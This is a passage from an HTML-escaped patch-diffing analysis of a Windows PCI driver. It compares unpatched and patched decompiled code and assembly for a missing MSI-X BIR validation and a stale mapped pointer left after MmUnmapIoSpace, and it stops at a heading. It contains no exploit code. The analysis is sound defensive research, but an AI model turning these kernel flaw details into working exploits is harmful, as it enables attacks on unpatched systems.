&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYTE4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;LABEL_15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============ PATCHED (0x14009C810) — validate BEFORE alloc ============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PciReadDeviceConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// read cap BEFORE alloc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// cap id == MSI-X &amp;amp;&amp;amp; BIR &amp;lt;= 6&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIDWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFF8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYTE4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WPP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_DEVICE_REQUEST&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000184&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — &lt;code&gt;PciProcessStartResources&lt;/code&gt; (error/cleanup path)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ UNPATCHED (0x1C004CE40) ============&lt;/span&gt;
&lt;span class="c1"&gt;// arg5 (a5) = device_ext+0x388 ; a5+0x10 = device_ext+0x398 = mapped BaseAddress&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// MSI-X&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;MmUnmapIoSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0063839&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** MISSING: *(_QWORD*)((char*)a5 + 0x10) = 0 ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============ PATCHED (0x14009C500) ============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;MmUnmapIoSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;va&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// 0x14009C721&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// 0x14009C72D  ← FIX&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Unpatched &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; (MSI-X path)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D22D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; type = MSI-X&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D233&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D236&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C004D24D&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; proceed to allocation&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; size = count * 0x58 (32-bit) — identical in patched&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfBytes&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; same value reused as copy length&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2BC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Size = allocation size (NOT larger)&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; Src&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; copy length == allocation size (no overflow)&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D2F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;PciReadDeviceConfig&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; MSI-X cap read AFTER alloc, no validation&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D302&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFF8h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; table offset&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D30C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; BIR stored unchecked&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D30E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 1 — Patched &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; (added validation)&lt;/h3&gt;
